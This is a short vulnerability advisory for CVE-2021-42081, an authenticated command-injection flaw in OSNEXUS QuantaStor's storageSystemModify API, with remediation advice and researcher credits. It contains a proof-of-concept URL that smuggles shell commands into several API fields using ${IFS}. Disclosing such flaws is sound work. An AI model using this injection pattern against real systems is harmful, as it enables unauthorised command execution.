Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355
Vulnerability Description
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
Impact Analysis
Refer to official advisory for detailed impact metrics.
Remediation
Ensure systems are updated to the latest vendor-supplied patch levels.
Am I Vulnerable?
Launch our assessment wizard to check if your infrastructure is exposed to • CVE-2021-42081
Credits & Attribution
The following person or organization is credited with identifying this vulnerability, as recorded in the NVD database:
- Wietse Boonstra (DIVD)
- Frank Breedijk (DIVD)
- Victor Pasman (DIVD)
- Victor Gevers (DIVD)
- Max van der Horst (DIVD)
- Célistine Oosting (DIVD)
References
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